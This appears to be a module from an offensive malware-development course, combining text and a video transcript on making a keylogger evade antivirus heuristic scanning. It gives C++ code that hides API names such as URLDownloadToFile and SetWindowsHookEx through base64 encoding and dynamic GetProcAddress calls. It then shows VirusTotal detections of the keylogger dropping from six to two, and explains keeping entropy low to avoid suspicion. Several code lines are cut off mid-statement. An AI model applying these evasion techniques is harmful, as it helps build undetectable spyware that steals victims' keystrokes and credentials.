Module 6.2

Deceiving a heuristic scanner

Heuristics

Another virus detection technology antiviruses rely on is heuristic scanning. Heuristics is searching for potentially harmful excerpts in code. It could be a function name in the import address table, or an unmistakable string or web page address. As a rule of thumb, the clue's often a function name in the IAT. An example is URLDownloadToFile, typically used by downloaders to fetch a file. To protect against this solution, replace calling a function from the IAT with a dynamic call. Additionally, encrypt the string containing library name from which you import your function. Also, encrypt the function name itself. Base64 encoding is a good solution here, returning output data as strings.

The URLDownloadToFile function is contained in the urlmod.dll library and looks like this:

```
HRESULT URLDownloadToFile(LPUNKNOWN pCaller,LPCTSTR szURL, LPCTSTR szFileName,
DWORD dwReserved,LPBINDSTATUSCALLBACK lpfnCB);

HRESULT (* URLDownloadToFile_dyn) (LPUNKNOWN pCaller,LPCTSTR szURL, LPCTSTR
szFileName,    DWORD dwReserved,LPBINDSTATUSCALLBACK lpfnCB);
string lib_name=base64_decode(„dXJsbW9kLmRsbA==”);                  //urlmon.dll
string f_name=base64_decode(„VVJMRG93bmxvYWRUb0ZpbGU=”);  //URLDownloadToFile

URLDownloadToFile_dyn=GetProcAddress(GetModuleHandle(lib_name.c_str()),f_name.c_str(
));
URLDownloadToFile_dyn(….);                                                  //call
```

These steps ensure the output file shows the VVJMRG93bmxvYWRUb0ZpbGU= string rather than URLDownloadToFile. The bulk of AV applications should fail to recognize the threat. Naturally, you can also add stronger encryption to supplement base64, although base64 is good enough for the purposes of this

presentation. In the next parts of the module we'll see why this coding scheme can prove too weak to make the program truly undetectable.

Practice: video module transcript

Welcome to the second part of the sixth module of our training. Here, we'll learn how to prevent detection by the heuristic scanner of our anti-virus program. Before we do it, let's reflect upon the notion of heuristics.

It's applied not only when talking about anti-virus applications. It's used, for instance, in artificial intelligence. To put it in a nutshell, it's a certain way of speeding up calculations. This method doesn't always provide the best results, but thanks to it, we can get approximated values of our calculations in a very short period of time. The situation when we have to calculate the distance between two points may serve as a relevant example. Instead of calculating the distance to be travelled on a road which is not a straight line, we calculate an approximated value in a straight line. It gives us the general idea when it comes to the order of magnitude of this distance.

Anti-virus programs make use of heuristics by means of checking potential dangerous activities performed by the scanned program, for instance hooking or injecting the code to various processes. Obviously, hooking isn't always dangerous, which is the reason behind false positives, where a safe application is qualified as a dangerous one. There were a couple of widely reported cases, for instance the case of McAfee software, when the anti-virus considered the system file to be dangerous and deleted it. Many computers failed because of that.

Now let's consider how to deal with a heuristic scanner. It's a fairly difficult task, because we don't really know what activates the anti-virus software alarm. It's not a string of specific bytes, but a certain action. In order to cheat the heuristic scanner we'll try to encode the function names so that instead of calling the function from IAT, we decode its name, get its address and call it. Let's move on to the demonstration.

We have the VirusTotal website open. In a moment, we'll load here our keylogger file from the fourth module of the training. Let's analyse it. We already have one anti-virus which considered our application dangerous, but the number of alarmed applications still increases. In the description we can see that the website shows us names such as unqualified or unknown, which means that our program was detected by the heuristic scanner. 6 out of 42 anti-virus programs considered the file dangerous. Now let's have a closer look at the code.

```
logg* LOG;

DWORD shift=0;
DWORD alt=0;
DWORD ctrl=0;

SHORT (WINAPI *p_GetKeyState)(int nVirtKey);
HHOOK (WINAPI *p_SetWindowsHookEx)(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
LRESULT (WINAPI *p_CallNextHookEx)(HHOOK hhk,int nCode,WPARAM wParam,LPARAM lParam);
DWORD (WINAPI *p_GetModuleFileName)(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
BOOL (WINAPI *p_CreateDirectory)(LPCTSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes);
BOOL (WINAPI *p_CopyFile)(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists);
LONG (WINAPI *p_RegOpenKeyEx)(HKEY hKey,LPCTSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
LONG (WINAPI *p_RegSetValueEx)(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData
HANDLE (WINAPI *p_CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_
LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
```

We've already prepared a modified version of the keylogger from module no. 4, where the names of functions and some strings are encoded using base64. We see pointers to the functions which we'll use, that is GetKeyState, SetWindowsHookEx, CallNextHookEx, GetModuleFileName etc. Instead of calling functions from IAT, we get their addresses in the main function using the GetProcAddress function.

```
string user32_dll=base64_decode("dXNlcjMyLmRsbA==");
string kernel32_dll=base64_decode("a2VybmVsMzIuZGxs");
string advapi32_dll=base64_decode("YWR2YXBpMzIuZGxs");

p_GetKeyState=(SHORT (__stdcall *)(int))GetProcAddress(LoadLibrary(user32_dll.c_str()),base64_decode("R2V0S2V5U3
p_SetWindowsHookEx=(HHOOK (__stdcall *)(int,HOOKPROC,HINSTANCE,DWORD))GetProcAddress(LoadLibrary(user32_dll.c_st
("U2V0V2luZG93c0hvb2tFeEE=").c_str());
```

Further we have the library names encoded in base64, and below we can see the names of the functions encoded in base64. The GetKeyState name encoded in base64 looks as follows. Similarly, in the Log module we have the functions InternetOpen and InternetConnect. In the constructor of the Log class we get the addresses of these functions. Here we have InternetOpenA and the names of the libraries encoded in base64. Thanks to this action, the executable file won't include the names of these functions, but their counterparts encoded using the base64 algorithm, which we'll decode only after the program is launched.

The base64_decode function decodes strings. As we've already mentioned, we can find the implementation of this algorithm in many places in the Internet, so we won't discuss it here.
Let's compile the program. We choose Build and Rebuild Solution.

SHA256:	495e5339c87b0f132c2feb532dbd15676a7156098cc7ead7c6b4396631000352
File name:	keylogger.exe
Detection ratio:	2 / 42
Analysis date:	2012-04-18 13:18:15 UTC (0 minut ago)

The program compiled successfully, so let's load it again to the anti-virus scanner. Remember that previously our application was detected by 6 out of 42 anti-virus programs. The analysis is in progress. Our code was detected by Norman anti-virus and Kaspersky. However, let's wait for the analysis to yield full results. The scanning is over. We can see that after this simple trick, the program detectability decreased from six to two anti-virus programs.

We've encoded not only the character strings with function names, but also the ones passed to the RegOpenKeyEx function, that is the string with the autorun

key name and the program name. The general principle is that the program should include no suspicious strings, because each such occurrence can activate the anti-virus scanner. Actually, we could even encode the entire program code, but we should not overdo it. The more that the data is encoded with a strong algorithm, such as AES or RC4, the more the so-called entropy, the measure of disorder, increases.

We can calculate the entropy for specific files using certain formulas. Based on these calculations, the anti-virus is able to determine which parts of the executable file are encoded. If there is a lot of encoded data, the anti-virus can have suspicions that the programmer tried to hide something in the program. In our case, we used the base64 algorithm on purpose, because it decreases the entropy of data. An encoded string is longer than the input string, additionally, it is composed of a maximum of 64 various characters. If we encoded it using, for instance, the AES algorithm, nearly every program byte would be different than the previous one. That's the idea behind strong encoding. We can easily recognise the encoded fragments because their entropy is higher than 90%, which obviously raises the suspicion of AV scanners.

Two anti-virus applications still consider our code as potentially dangerous. Kaspersky even shows that it's because of heuristics. Probably it detects it thanks to emulation, which we'll discuss in the next part of this module. Emulation enables it to recreate the encryption process and access the actual strings included in our program. Base64 is definitely not the strongest algorithm, so deciphering the encryption won’t be too hard for the anti-virus. Thank you for your attention and please go on to the next part of this module. See you there.